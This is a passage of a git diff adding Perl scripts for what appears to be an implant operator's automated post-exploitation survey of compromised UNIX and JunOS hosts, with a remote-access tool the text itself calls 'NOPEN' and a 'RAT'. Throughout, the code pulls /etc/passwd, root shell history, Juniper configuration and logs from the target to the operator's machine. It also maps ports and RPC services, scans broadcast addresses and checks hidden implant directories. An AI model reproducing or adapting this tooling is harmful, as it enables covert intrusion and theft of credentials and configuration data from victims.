-u /bin/ps /usr/bin/netstat", + ); + + my ($ans,$longans) = mygetinput("${COLOR_FAILURE}". + "WARNING: netstat -an can take a long time!\n\n". + "${COLOR_NORMAL}Do you want to run it? ",$mdefault,@choices); + if ($ans =~ /^y/i) { + doit("netstat -an >> T:$opdown/netstat.$nopen_rhostname"); + } + + push(@autoargv,"autodone"); + mydo("autopscheck",@autoargv); + + tickleifneedbe($builtinsonly); + + # JUNOS-specific file gets. + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM100000", +# nopengetfiles("SIZEMAX=100000 GETZERO=1", + "/etc/hosts*", + "/etc/syslog.conf", + "/etc/inetd.conf", + "/etc/passwd", + "/var/etc/hosts", + "/root/.history", + ); + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-G${nopenlssreget}YUFM1000000", +# nopengetfiles("SIZEMAX=1000000 GETZERO=1", + "/config/juniper.conf*", + "/var/log/inventory*", + "/usr/libdata/fru.models", + ); + doit("-getenv"); + + @autoargv = ("autodone"); + mydo("autodfcheck",@autoargv); + + # Run the autodothis stuff in here. + preservefile("$opdown/junosstats.cmdout"); + doit( + "-nohist -cmdout $opdown/junosstats.cmdout", + "-nohist mount", + "-nohist -cmdout", + ); + + my ($output) = doit("date \"+%a, %d %b %Y %H:%M:%S %z\""); + writefile("$opdown/date-rfc2822.$nopen_rhostname",$output); + + + doit( + "-nohist -gs replay -Hf $opdown/junosstats.cmdout.$nopen_rhostname df -l", + ); + + # Run the old gs.idscript stuff in here. + doit("dmesg ;echo > L:$opdown/dmesg.$nopen_rhostname", + "egrep -i \\\"memory|mem = \\\" /var/log/messages /var/adm/messages /var/log/syslog | tail -20 >> L:$opdown/dmesg.$nopen_rhostname", + ); + + tickleifneedbe($builtinsonly); + + # Instead of blindly running newdone, check for it first. + ($sshoutput,$nopenlines,@sshoutput) = nopenlss("-UFP","ssh*"); + my $path = ""; + if ($sshoutput[-1]) { + # We got at least one filename. + foreach $filelisting (@sshoutput) { + # Get the path to each ssh binary, then run it inidividually. + # This will let us check the versions of multiple ssh binaries + # on the target, if so installed. + ($path) = grep m, /.*/ssh\S?$, , $filelisting; + $path = $1 if $path =~ /^-.*\s(\/.*\/ssh\S?)$/; + doit("$path -V") if $path; + } + } + else { + myalert("NOLOGGING","No SSH binaries found, skipping ssh -V command"); + } + + doit("=mkoffset"); + @autoargv = (); +# mydo("autocroncheck",@autoargv); + + doit("-ls -ct /etc > L:$opdown/ls_etc-ct.$nopen_rhostname"); + preservefile("$opdown/uname-a.$nopen_rhostname"); + ($output) = doit("uname -a > T:$opdown/uname-a.$nopen_rhostname"); + newhostvar("host_uname{$nopen_rhostname}",$output) + if ($output) ; + + @autoargv = (); + mydo("autochecklast",@autoargv); + + tickleifneedbe($builtinsonly); + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone","DONE",$thismonth,$today); + + doit("-lsh rm -f $opetc/nopen_auto.$nopen_mypid"); + myalert("NOLOGGING","DONE running $opetc/autonewdone"); + + doit("-lsh [ -f /current/tmp/$nopen_mypid.namefix ] && source /current/tmp/$nopen_mypid.namefix ; date -u ; $opetc/gethostinfo.pl | grep -v \"^Malformed UTF-8\" | tee $opdown/hostinfo.$nopen_rhostname ; echo -e \"${COLOR_FAILURE}Use \\\"-hostinfo\\\" to see hostinfo pop-up window${COLOR_NORMAL}\"", + ) unless $autonohostinfo; + + ($output) = doit("w"); + newhostvar("host_wuptime{$nopen_rhostname}",$output) + if ($output) ; + return 1; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.junos @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.junos"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # This is a fresh instance; previous failed newdones may have + # issued warnings we are about to repeat, so just dump them. + unlink("$opdir/latewarnings.$nopen_rhostname"); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone"); +}#myinit + diff --git a/Linux/etc/autonewdone.main b/Linux/etc/autonewdone.main new file mode 100755 index 0000000..b6dd43b --- /dev/null +++ b/Linux/etc/autonewdone.main @@ -0,0 +1,408 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements the main logic of the next-gen +# autonewdone scripts. +# +$VER="3.0.0.0" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; + +%mons=("Jan","01","Feb","02","Mar","03","Apr","04","May","05","Jun","06","Jul","07","Aug","08","Sep","09","Oct","10","Nov","11","Dec","12"); + +@surveytypes = (); +%surveysalreadydone = (); +$surveysdone = ""; +($donecount,$skipcount) = 0; + +myinit() ; + +# Set our initialized globals here. +$statsfile = "$opdown/${targetplatform}stats.cmdout.$nopen_rhostname"; +$hostinfofile = "$opdown/hostinfo.$nopen_rhostname"; + +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); + +# following is first time autonext is used without $$ extension--fewer collisions? +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname") unless $autonohostinfo; + +my @autoargv = (); +if ((-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont") and + (!$redo and !$autonohostinfo)) { + myalert("autonewdone has already completed on this target. Use -gs auto FORCE [SHORT] $gsoptions to re-do it."); +} else { + dosurvey(); +} + +doit("-keepalive -v $nopenkeepalive") if ($nopenkeepalive > 0); + +# End with true value as we require this script elsewhere. +1; + +sub dosurvey() { + # Set these files aside as .old if they exist + preservefile("$statsfile", + "$opdown/dmesg.$nopen_rhostname", + "$opdown/ipfstat.$nopen_rhostname", + "$opdown/iptables.$nopen_rhostname", + "$opdown/ls_etc-ct.$nopen_rhostname", + "$opdown/modinfo.$nopen_rhostname", + "$opdown/lsmod.$nopen_rhostname", + "$opdown/rpcinfo.$nopen_rhostname", + "$opdown/selinux.$nopen_rhostname", + "$opdown/script.ids$nopen_rhostname", + "$optmp/.syslog.$nopen_rhostname"); + preservefile("$hostinfofile") + unless $autonohostinfo; + + # Are we on a first hop? + ($output,$nopenlines,@firsthops) = doit("-lsh didthis | grep noclient | grepip"); + my $firstin = 0; + foreach my $ip (@firsthops) { + $firstin++ if $ip eq $nopen_myip; + last if $firstin; + } + + chomp($partsdonesofar = + `cd $optmp ; ls -alrt .survey*done.$nopen_rhostname 2>/dev/null| awk '{print \$8,\$9}'`."\n"); + $partsdonesofar =~ s/\n/\n\t/g; + if ($partsdonesofar) { + my ($ans,$longans) = mygetinput + ($COLOR_NOTE. + "Sections include: @surveytypes\n\n\t". + $COLOR_FAILURE. + $partsdonesofar. + $COLOR_NORMAL. + "\nAbove files in $optmp indicate when the autonewdone components were done\n". + "previously during this op, so no parts of the autonewdone survey were done.\n". + " You can use the -O option later to re-do all or some portions of the survey,\n". + "or answer \"RE-DO\" now to do so. (Default will be to kip them, change\n". + "that to ontinue for those you wish to repeat.)\n\n". + "Exit or RE-DO?","Exit","RE-DO" + ); + + #dbg("in autonewdone dosurvey, ans=$ans= longans=$longans="); + if ($ans eq "e") { + return 0; + + } elsif ($ans eq "r") { + #dbg("in autonewdone dosurvey, deleting lock files"); + foreach $surveytype (@surveytypes) { + #dbg("in autonewdone dosurvey, =.survey.${surveytype}done.$nopen_rhostname="); + #`rm -f $optmp/.survey.${surveytype}done.$nopen_rhostname`; + delete $surveysalreadydone{$surveytype}; + #delete $surveystoskip{$surveytype}; + } + } + } + myalert("NOLOGGING","BEGIN running $opetc/autonewdone on $nopen_rhostname output in $nopen_mylog (v.$VER)"); + system("touch $optmp/autonewdone.INPROGRESS.$targetpid"); + + # Write out the nopen_auto.$nopen_mypid file that yells if we didn't finish a run. + open(YELLPROMPT, "> $optmp/.gsyell.$nopen_rhostname.$nopen_mypid") or myalert("Can't create warning text! $!"); + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n". + "This should not happen. Please report this now\n". + "(yes, now...in person...go....shoo!).\n\n". + "You can hit return here to get your window back, though.\n\n"; + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n"; + close(YELLPROMPT); + + # Create the hostinfo file and the yell script. Yes, we want to open the hostinfo file here... + open(GSYELL, "> $opetc/nopen_auto.$nopen_mypid") or myalert("Can't create warning script! $!"); + open(HOSTINFO, "> $hostinfofile") or mydie("Unable to open hostinfo file $hostinfofile! $!"); + print GSYELL "#NOGS\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.out.$nopen_mypid\n"; + print GSYELL "-lsh -nohist test -f $optmp/autonewdone.$nopen_rhostname || ". + "$opetc/autogetinput -O $optmp/.gsyell.out.$nopen_mypid -P $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/autonewdone.INPROGRESS.$targetpid\n"; + close(GSYELL); + + # Save the start time and current time zone of the ops station. + ($output) = doit("-lsh date -u"); + chomp($output); + ($mon,$d,$year) = + $output =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d{1,2})\s+.*\s(\d{4})/i ; + ($h,$m,$nothing,$s) = $output =~ /\s(\d{2}):(\d{2})(:(\d{2})){0,1}\s+/ ; + ($tz) = $output =~ /([\D]+)\s+$year/; + $tz =~ s/^\s*(.*)\s*$/$1/; + $d += 100; + $d = substr($d,1); + print HOSTINFO "Access Start (zulu): $year-$mons{$mon}-$d $h:$m:$s\n"; + print HOSTINFO "OP Box UTC Time Zone: $tz\n"; + + # Parse the status variables and save the output. + ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid, + $localppid,$serverver,$wdir,$targetos,$targetcwd,$thispid, + $targetppid,$targetport,$localport,@statusoutput) = parsestatus(); + ($remoteip,$remoteport) = (); + print HOSTINFO "OS: $targetos\n"; + print HOSTINFO "OS Version: $1\n" if $targetos =~ /[^\s]+\s+([^\s]+)\s/ ; + print HOSTINFO "HW Architecture: $1\n" if ($targetos =~ /\s+([^\s]+)$/); + print HOSTINFO "RAT client ver: NOPEN $clientver\n"; + print HOSTINFO "RAT server ver: NOPEN $serverver\n"; + print HOSTINFO "RAT server cwd: $targetcwd\n"; + + # Get the host ID and hostname as soon as possible so that the basic + # hostinfo file has at least one unique identifier. + ($output) = doitwrite("hostid"); + chomp($output); + if ($output !~ /exited with status code/) { + print HOSTINFO "Host ID: $output\n"; + } + ($output) = doitwrite("\\hostname"); + chomp(my $hostname = $output); + print HOSTINFO "Hostname: $hostname\n"; + + my $clientdiff = "" ; + my $serververshort = $serverver; + $serververshort =~ s/(\d+\.\d+\.\d+)\.*\d+.*/\1/; + my $clientvershort = $clientver; + $clientvershort =~ s/(\d+\.\d+\.\d+)\.*\d+/\1/; + if ($serverver eq $clientver) { + $clientdiff = "\nTool Comments: matched client/server"; + } elsif ($serververshort eq $clientvershort) { + $clientdiff = "\nTool Comments: $clientver (client)". + "\nTool Comments: $serverver (server) -- acceptable version mismatch"; + } else { + $clientdiff = "\nTool Comments: mismatched client $clientver" ; + } + my $globaltools = "--\nTool: NOPEN V3.X\nVersion: $clientver$clientdiff\n". + "Usage: EXERCISED\nUsage: ACCESSED\nTool Status: Successful\n". + "Implant IP: $nopen_myip\nImplant port: $targetport\n"; + + # Run the other surveys that are currently available. + while (1) { + foreach my $surveytype (@surveytypes) { + $surveysdone .= "\t$surveytype\n" + if skipordo($surveytype); + last if $aborting; + } + #dbg("in autonewdone dosurvey, donecount=$donecount= skipcount=$skipcount= aborting=$aborting="); + last if $donecount or $skipcount or $aborting; + } + + # Print this block of info at the bottom. + print HOSTINFO $globaltools; + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone","DONE",$thismonth,$today); + + doit("-lsh rm -f $opetc/nopen_auto.$nopen_mypid"); + #print HOSTINFO "Surveys Completed: $surveysdone\n"; + close(HOSTINFO); + myalert("NOLOGGING","DONE running $opetc/autonewdone on $nopen_rhostname"); + + foreach $targetwarningfile( + "$opdown/ethcheckout.txt.VMW*.$nopen_rhostname", + "$opdown/ethcheckout.txt.vmw*.$nopen_rhostname", + "$opdown/ethcheckout.txt.XEN*.$nopen_rhostname", + "$opdown/ethcheckout.txt.xen*.$nopen_rhostname", + "$opdir/latewarnings.$nopen_rhostname", + ) { + next unless -s $targetwarningfile; + chomp($output = `cat $targetwarningfile 2>/dev/null`) ; + next unless $output; + + $output .= "\n\nThere were$COLOR_FAILURE ALERTS$COLOR_NORMAL: You must examine output above before you continue.\n\n"; + mypause("$beep\n${COLOR_FAILURE}$output"); + } + unlink("$opdir/latewarnings.$nopen_rhostname"); + + #dbg("in autonewdone dosurvey, surveysdone=$surveysdone="); + $surveysdone = "\tNONE" unless $surveysdone; + chomp($partsdonesofar = + `cd $optmp ; ls -alrt .survey*done.$nopen_rhostname 2>/dev/null| awk '{print \$8,\$9}'`."\n"); + $partsdonesofar =~ s/\n/\n\t/g; + #dbg("in autonewdone dosurvey, partsdonesofar=$partsdonesofar="); + myalert("\n\n\n${COLOR_FAILURE}AUTONEWDONE FINISHED\n\n". + "Completed this pass:\n$surveysdone\n\n". + "Completed this op:\n\t$partsdonesofar\n\n\n\n". + "Use \"-hostinfo\" to see the hostinfo pop-up window.") + unless ($surveysdone =~ /NONE/); + + return 1; +} + +sub skipordo { + local ($type) = (@_); + my $subtocall = "autonewdone.$type"; + my ($dotypes,$skiptypes)= ""; + foreach my $type (@surveytypes) { + $dotypes .= " $type" unless $surveystoskip{$type}; + $skiptypes .= " $type" if $surveystoskip{$type}; + } + $skiptypes = "\n(default of kip for$COLOR_NOTE$skiptypes$COLOR_FAILURE)" if $skiptypes; + my $default = "C"; + $default = "S" if !$doover and $surveysalreadydone{$type}; + $default = "S" if $surveystoskip{$type}; + my $more = $COLOR_FAILURE. + "Proceeding with the following autonewdone survey types$skiptypes:\n\n". + " $dotypes\n\n". + "(To avoid these \"About to run\" prompts, use -Y option or enter \"Y\" here.)\n$COLOR_NORMAL\n" + unless $firsttime++; + my $more2 = "$COLOR_FAILURE (which has been done already)$COLOR_NORMAL" + if $surveystoskip{$type}; + my ($ans,$longans) = ("S") if $surveystoskip{$type}; + return 0 if ($nopauses and !$doover and $surveystoskip{$type}); + + ($ans,$longans) = + mygetinput + ("$extraoutput$COLOR_NORMAL\n\n". + $more. + "About to run gs$type() survey. You can\n". + " kip gs$type(),\n". + " ontinue or\n". + " bort remaining survey\n". + "Choose:", + $default, + "C","S","Y","A") + if $pauses; + $extraoutput = ""; + $aborting++ if $ans eq "a"; + $pauses-- if $ans eq "y"; + return 0 if $aborting; + if ($ans eq "s") { + $skipcount++; + return 0; + } + $donecount++; + dbg("ans=$ans longans=$longans= before $subtocall before date"); + mydo("$subtocall"); + dbg("ans=$ans longans=$longans= after $subtocall before date"); + `date > $optmp/.survey.${type}done.$nopen_rhostname`; + return 1; +} +#skipordo + +sub logdoit { + my $returnoutput = ""; + foreach my $line (@_) { + my ($logoutput,$lognopenlines,@logoutput) = (); + if ($line =~ m,^\-,) { + ($logoutput,$lognopenlines,@logoutput) = doit($line); + } else { + ($logoutput,$lognopenlines,@logoutput) = doitwrite($line) + unless $builtinsonly; + } + $returnoutput .= $logoutput; + print CMDOUT $lognopenlines; + print CMDOUT $logoutput; + } + return $returnoutput; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + @surveytypes = ("proclist", + "network", + "osgeneral", + "osspecific", + "swfind", + "dirlist", + "fileget", + ); + %surveysalreadydone = (); + + $getoptsletters = "hvNFO"; + $gsusagetext=" +Usage: $prog + +$prog performs the initial survey of a UNIX target after connecting to the +target. This version replaced the original autonewdone script. + +Unless -O is used, $prog will not repeat sections of the survey done +previously during this op on this host. + +OPTIONS + -h Show this help (this is default without the -p option) + -v Show version + -N Show the informational pauses. By default, you will not be prompted + unless something urgent shows up. + -F Force prompts for ALL collects (default is automatic downloads for + all but hardware section, i.e. /boot on Linux) + -O Repeat (do Over) the sections previously completed\n"; + + mydie("bad option(s)") if (! Getopts( $getoptsletters ) ) ; + $pauses = $opt_N; + $forcepull = $opt_F ? "" : "Y"; + $forcepull2 = ($forcepull and $opt_f) ? "Y" : ""; + $doover = $opt_O; + + # Check and see which parts of the survey we were asked to skip. + unless ($doover) { + foreach my $type (@surveytypes) { + $surveystoskip{$type}++ if -s "$optmp/.survey.${type}done.$nopen_rhostname"; + } + } + + # Check and see which parts of the survey have already been done. + foreach my $type (@surveytypes) { + $surveysalreadydone{$type}++ if -s "$optmp/.survey.${type}done.$nopen_rhostname"; + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # This is a fresh instance; previous failed newdones may have + # issued warnings we are about to repeat, so just dump them. + unlink("$opdir/latewarnings.$nopen_rhostname"); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone"); +dbg("BACK IN autonewdone, just called whendo: + +ARGS=(@ARGS) after whendo(@_) with + finished=$finished= + yearmonstr=$yearmonstr= + todaystr=$todaystr= + autoforce=$autoforce= + autoyes=$autoyes= + autoreget=$autoreget= + nopenlssreget=$nopenlssreget= + autoshort=$autoshort= +autonohostinfo=$autonohostinfo= + +RETURN: redo=$redo, + thismonth=$thismonth, + today=$today, +thismonthfiles=$thismonthfiles, + todayfiles=$todayfiles, + +"); + +}#myinit + diff --git a/Linux/etc/autonewdone.network b/Linux/etc/autonewdone.network new file mode 100755 index 0000000..f9a4f59 --- /dev/null +++ b/Linux/etc/autonewdone.network @@ -0,0 +1,260 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the network survey commands +# that need to be performed when first connecting to a UNIX target. +# +$VER="3.0.0.3"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub donetwork() { + my @choices = ("Y","N"); + my $mdefault = "N"; + + # Open the autodothis file here. + open(CMDOUT,">$statsfile") or myalert("Unable to open statistics file $statsfile! $!"); + + ($output,$nopenlines,@output) = doitwrite("\\hostname"); + chomp(my $hostname = $output); + print HOSTINFO "Hostname BS: $hostname\n"; + + ($output,$nopenlines,@output) = doitwrite("domainname"); + chomp(my $domainname = $output); + if (!$domainnname or $domainname =~ /none/) { + ($domainname) = $hostname =~ /^[^\.]+\.(.+)/; + print HOSTINFO "Domain name: $domainname\n" if $domainname; + print HOSTINFO "FQDN: $hostname\n"; + } + else { + print HOSTINFO "Domain name: $domainname\n"; + print HOSTINFO "FQDN: $hostname.$domainname\n"; + } + + doitwrite("more /etc/hostname* ; echo"); + + my $ifconfigoutput = logdoit("-ifconfig"); + my @ifconfigoutput = split(/\n+/,$ifconfigoutput); + my ($intf,$flags,$mtu,$ip,$bcast,$mask,$mac) = (); + foreach $line (@ifconfigoutput) { + $linelen = length $line; + #dbg("in autonewdone donetwork, line=$line= length=$linelen"); + next if $linelen == 0; + + ($intf,$flags,$mtu) = $line =~ /^([a-z0-9]+):\s+flags=\.(.+)\.\smtu\s(\d+)/; + #dbg("in autonewdone donetwork, intf=$intf= flags=$flags= mtu=$mtu="); + #next if $intf =~ /lo/; + if (length $intf) { + print HOSTINFO "Network Interface: Name: $intf; Flags: $flags; MTU: $mtu;"; + next; + } + + ($ip,$bcast,$mask) = $line =~ /^inet\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\sbroadcast\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\snetmask\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + #dbg("in autonewdone donetwork, ip=$ip= bcast=$bcast= mask=$mask="); + #next if $ip =~ /127.0.0.1/; + if (length $ip) { + my ($network) = `ipcalc --network --silent $ip $mask` =~ /NETWORK=(.*)/; + print HOSTINFO " IP: $ip; Subnet: $network; Broadcast: $bcast;"; + print HOSTINFO "\n" if ($ip =~ /127.0.0.1/); + next; + } + + ($mac) = $line =~ /ether\s([\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+:[\da-f]+)/; + #dbg("in autonewdone donetwork, mac=$mac="); + next if $mac =~ /00:00:00:00:00:00/; + if (length $mac) { + print HOSTINFO " MAC Address: $mac\n"; + next; + } + } + + if ($junostarget) { + my ($ans,$longans) = mygetinput("${COLOR_FAILURE}". + "WARNING: netstat -an can take a long time!\n\n". + "${COLOR_NORMAL}Do you want to run it? ",$mdefault,@choices); + if ($ans =~ /^y/i) { + my (undef,$netstatfile) = doitwrite("ARRAY", "netstat -an"); + } + + my ($ans,$longans) = mygetinput("${COLOR_FAILURE}". + "WARNING: netstat -rn can take a long time!\n\n". + "${COLOR_NORMAL}Do you want to run it? ",$mdefault,@choices); + if ($ans =~ /^y/i) { + my (undef,$netstatfile) = doitwrite("ARRAY", "netstat -rn"); + } + } + else { + my (undef,$netstatfile) = doitwrite("ARRAY","netstat -an","netstat -rn"); + } + + chomp($netstatfile = `ls -rt $optargetcommands/netstat_-an* | tail -1`) + unless $netstatfile; + if (open(NETSTATFILE,"< $netstatfile")) { + my $mode = ""; + my %udp = (); + my %tcp = (); + my $udp = ""; + my $tcp = ""; + while (chomp($line = )) { + $line =~ s/\r//g ; # Get rid of ^M's + $mode = uc $1 if ($line =~ /^(UDP|TCP)/i) ; + next unless (($duh,$port,$what) = $line =~ /(0.0.0.0:|\*\.)(\d+).*\s+(\w+)/) ; + #dbg("in autonewdone donetwork, mode=$mode= duh=$duh= port=$port= what=$what="); + if ($mode eq "UDP") { + $udp{$port}++; + } else { #"TCP" + $tcp{$port}++; + } + } + close(NETSTATFILE); + $udp .= "$_," foreach (sort by_num keys %udp); + $tcp .= "$_," foreach (sort by_num keys %tcp); + chomp($udp); + chomp($tcp); + #dbg("in autonewdone donetwork, tcp=$tcp= udp=$udp="); + print HOSTINFO "UDP ports listening: $udp\n" if $udp; + print HOSTINFO "TCP ports listening: $tcp\n" if $tcp; + } + else { + myalert("Can't open $netstatfile! $!"); + } + + # TODO: Parse this rpcinfo output in $rpcoutputfile, make a new copy like + # how -scan rpc looks (more detail) + my (undef,$rpcoutputfile) = doitwrite("ARRAY","rpcinfo -p"); + chomp($rpcoutputfile = `ls -rt $optargetcommands/rpcinfo_-p* | tail -1`) + unless $rpcoutputfile; + if (open(RPCFILE,"< $rpcoutputfile")) { + my %vers = (); + my %rpcserv = (); + my %rpcprog = (); + my $rpcproto = (); + my ($null,$rpcnum,$ver,$proto,$port,$service) = (); + while (chomp($rpcline = )) { + $rpcline =~ s/\r//g ; # Get rid of ^M's + next if $rpcline =~ /^\#/; + next if $rpcline =~ /( rpcinfo|Usage)/; + next if $rpcline =~ /\s(port|service)\s*$/; + #dbg("in autonewdone donetwork, rpcline=$rpcline="); + if (($null,$rpcnum,$ver,$proto,$port,$service) = split(/\s+/,$rpcline)) { + #dbg("in autonewdone donetwork, rpcnum=$rpcnum= ver=$ver= proto=$proto= port=$port= service=$service="); + $rpcprog{$rpcnum}++; + if ($service !~ // and $rpcserv{$rpcnum} !~ /$service/) { + $rpcserv{$rpcnum} .= "$service"; + } + $rpcproto{$rpcnum} .= "$proto:$port," unless($rpcproto{$rpcnum} =~ /$proto:$port,/); + $vers{$rpcnum} .= "$ver," unless ($vers{$rpcnum} =~ /$ver($|,)/); + } + } + close(RPCFILE); + if (%rpcprog) { + foreach (sort by_num keys %rpcprog) { + #dbg("in autonewdone donetwork, rpcprog=$_= vers=$vers{$_}= rpcproto=$rpcproto{$_}= rpcserv=$rpcserv{$_}="); + print HOSTINFO "RPC Program: $_;$vers{$_};$rpcproto{$_};$rpcserv{$_};\n"; + } + } + } + else { + myalert("Can't open $rpcoutputfile! $!"); + } + + @autoargv = (); + push(@autoargv,"-P") if $firstin; + mydo("autoarp",@autoargv); + + if ($solaristarget) { + my ($results,$testfile) = logdoit("modinfo"); + + #v CONDITIONAL, only does ipfstat if ipf appears in modinfo + logdoit("ipfstat -ionv") if ($results =~ /ipf/); + + } elsif ($aixtarget) { + logdoit("netstat -in"); + + } elsif ($linuxtarget) { + logdoit("lsmod"); + mypydo(0,"autoiptableslist","-l"); + + unlink("$opdown/iptables.$nopen_rhostname") + unless (-s "$opdown/iptables.$nopen_rhostname"); + `grep "lsmod.*no such " $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`; + `grep "lsmod.*not found" $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`; + + unlink("$opdown/ipfstat.$nopen_rhostname") + unless (-s "$opdown/ipfstat.$nopen_rhostname"); + `grep "ipfstat.*no such " $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`; + `grep "ipfstat.*not found" $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`; + } + + tickleifneedbe($builtinsonly); + + # We scan broadcasts, only on initial hops, and only on the 20th every month. + # Force this off via touch /current/tmp/SKIPBCSCANS + # Force this on via touch current/tmp/FORCEBCSCANS + # @currentconns becomes the established sessions from $nopen_myip to our + # current externalIP. + my @currentconns = grep /$gbl_externalIP{"current"}/, + readfile("ARRAY","$optargetcommands/netstat*$nopen_rhostname*"); + @currentconns = grep /$nopen_myip/,@currentconns + if ($nopen_myip and $opdown eq $optargetcommands); + + if (!$builtinsonly and @currentconns > 0 and + ! -f "$optmp/SKIPBCSCANS" and + (timestamp("short") =~ /20-/ or -f "$optmp/FORCEBCSCANS")) { + my %scanned = (); + my @ifconfig = readfile("ARRAY", + "$opdown/ifconfig*${nopen_rhostname}*", + ); + @ifconfig = readfile("ARRAY", + "$optargetcommands/ifconfig*${nopen_rhostname}*", + ) + unless (@ifconfig); + doit("w"); + foreach my $line (@ifconfig) { + my ($bc) = $line =~ /broadcast (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + if ($bc and !$scanned{$bc}++) { + doit("-scan xwin $bc","w"); + doit("-scan brpc $bc","w"); + } + } + } + + close(CMDOUT); + return 1; +} + +donetwork (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.network @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.network"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autonewdone.osgeneral b/Linux/etc/autonewdone.osgeneral new file mode 100755 index 0000000..f034443 --- /dev/null +++ b/Linux/etc/autonewdone.osgeneral @@ -0,0 +1,352 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the general commands +# that need to be run when first connecting to a UNIX target. +# +$VER="3.0.0.6"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub doosgeneral() { + # This variable is used in multiple command parsing blocks. + my $year = (); + + ($output) = doitwrite("uname -a"); + newhostvar("host_uname{$nopen_rhostname}",$output) + if ($output); + #print HOSTINFO "OS: $output\n"; + + # We define out hackdirs here. + @hackdirs = ("/usr/lib/libX.a/bin","/usr/share/.aPa","/usr/share/.aPa/bin"); + my $hackdirregexp = "(libX\.a|share\/.aPa)" ; + foreach (@hackdirs) { + next unless length $_; + push(@autoargv,$_); + $hackdirs .= " $_/*"; + } + if (!$freebsdtarget and (!(-e "$optmp/hacksums.$nopen_rhostname"))) { + ($output,$nopenlines,@output) = + doit("-ls -n -R /bin/ps /bin/netstat $hackdirs >> 